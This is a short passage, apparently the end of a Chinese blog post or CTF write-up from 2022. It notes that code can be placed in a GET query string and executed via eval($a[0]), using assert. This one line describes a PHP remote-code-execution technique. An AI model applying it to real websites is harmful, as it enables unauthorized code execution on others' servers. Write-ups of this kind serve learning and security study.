因此可以把代码写到get的查询语句中,然后eval($a[0])执行即可,这里用assert执行。

posted @ 2022-06-16 21:33  bingbingge  阅读(227)  评论(0)    收藏  举报